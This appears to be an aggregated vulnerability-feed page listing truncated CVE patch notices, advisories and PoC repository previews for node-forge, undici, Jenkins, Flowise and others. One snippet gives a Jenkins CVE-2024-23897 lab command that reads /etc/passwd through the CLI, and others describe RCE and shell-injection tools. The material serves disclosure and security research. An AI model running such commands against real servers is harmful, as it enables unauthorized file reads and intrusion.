ROOT-APP-NPM-CVE-2026-33896 CVE-2026-33896 in node-forge - Patched by Root

Root has patched CVE-2026-33896 in the node-forge package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-CVE-2025-66031 CVE-2025-66031 in node-forge - Patched by Root

Root has patched CVE-2025-66031 in the node-forge package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-CVE-2026-33895 CVE-2026-33895 in node-forge - Patched by Root

Root has patched CVE-2026-33895 in the node-forge package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-CVE-2022-24771 CVE-2022-24771 in node-forge - Patched by Root

Root has patched CVE-2022-24771 in the node-forge package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-CVE-2025-12816 CVE-2025-12816 in node-forge - Patched by Root

Root has patched CVE-2025-12816 in the node-forge package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-CVE-2022-24772 CVE-2022-24772 in node-forge - Patched by Root

Root has patched CVE-2022-24772 in the node-forge package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-CVE-2026-33894 CVE-2026-33894 in node-forge - Patched by Root

Root has patched CVE-2026-33894 in the node-forge package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-CVE-2022-24773 CVE-2022-24773 in node-forge - Patched by Root

Root has patched CVE-2022-24773 in the node-forge package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-CVE-2026-6734 CVE-2026-6734 in undici - Patched by Root

Root has patched CVE-2026-6734 in the undici package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-CVE-2026-9679 CVE-2026-9679 in undici - Patched by Root

Root has patched CVE-2026-9679 in the undici package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-CVE-2026-44573 CVE-2026-44573 in next - Patched by Root

Root has patched CVE-2026-44573 in the next package for Root:npm. Multiple fixed versions available...

CVE-2024-23897

CVE-2024-23897 — Jenkins CLI の任意ファイル読み取り クイックスタート 1. Start lab docker-compose up -d 2. Wait 30s, then download CLI tool curl -O http://localhost:8080/jnlpJars/jenkins-cli.jar 3. Exploit — read /etc/passwd full file java -jar jenkins-cli.jar -s http://localhost:8080 -http connect-node @/etc/passwd...

Flowise-CVE-2025-58434-Chain-59528

FlowiseAI CVE チェーン - ATO CVE-2025-58434 および RCE CVE-2025-59528 ⚠️ 教育および許可されたセキュリティ研究のみを目的としています。 このツールを、自分が所有していない、または書面によるテスト許可がないシステムに対して実行することは違法 です。 目次 このリポジトリには、2つのFlowise脆弱性を連鎖させるPythonの概念実証コードが含まれています： CVE-2025-58434 — パスワードリセットトークンの露出によるアカウント乗っ取り CVE-2025-59528 —...

cve-2022-24785-poc-lab

概要 これは、Moment.js のパストラバーサル脆弱性 CVE-2022-24785 を調査するためのシンプルな Node Express アプリです。 セットアップ git clone https://github.com/pS3ud0RAnD0m/momentjs.git cd momentjs cat package.json Change 'moment' to '2.29.4' if wanting to test bypasses of the current patch. npm install node app.js...

CVE-2026-78424: Improper Neutralization of Special Elements used in an OS Command

Improper parameter handling in NeuVector allows any authenticated user who holds the namespaced Runtime Policies write permission or anyone with access to NeuVector’s internal gRPC certificate key pair the ability to inject OS commands in the privileged enforcer container, which can lead to the...

Atlassian Confluence 8.9.x < 9.2.22 / 9.5.x < 10.2.14 (CONFSERVER-104406)

The version of Atlassian Confluence Server running on the remote host is affected by a vulnerability as referenced in the CONFSERVER-104406 advisory. - node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.21, node-tar's filesFilter in src/list.ts uses the recursive mapHas help...

CVE-2026-82932: Improper Restriction of Communication Channel to Intended Endpoints

mH-DEVELOPER smart home module does not load any firewall rules at startup. This leaves all listening services, including SSH, HTTP, WebSocket, and Node-RED, fully exposed on the LAN without access control. Any client on the same network can reach every service. This issue was fixed in...

CVE-2024-23741

CVE-2024-23741 Hyper 3.4.1以前のmacOSにおける問題により、リモート攻撃者がRunAsNodeおよびenableNodeClilnspectArguments設定を介して任意のコードを実行できる可能性があります。 Electronの脆弱性を検索するプロセスを自動化するツールがあります: https://github.com/r3ggi/electroniz3r このツールを使用すると、アプリが脆弱かどうかを確認できます: 検証後、コードを注入してシェルを取得できます シェルをお楽しみください :...

CLSA-2026-1790542136 TuxCare security update for node-forge (1 CVE)

TuxCare rebuilt node-forge to address 1 CVE. Fixed in 1.3.3-tuxcare.1...

CVE-2024-23897-Vulnerabilidad-Jenkins

Jenkins における脆弱性 CVE-2024-23897 の悪用 脆弱性の説明: CVE-2024-23897 CVE-2024-23897 は、人気のある継続的インテグレーションツールである Jenkins で発見された重大な脆弱性です。この脆弱性により、ノードへのアクセスおよび接続機能に対する適切な制限が欠如しているため、Jenkins サーバー上でリモートコード実行 RCE が可能になります。 脆弱性の詳細: CVE-ID : CVE-2024-23897 Type : リモートコード実行 RCE Impact :...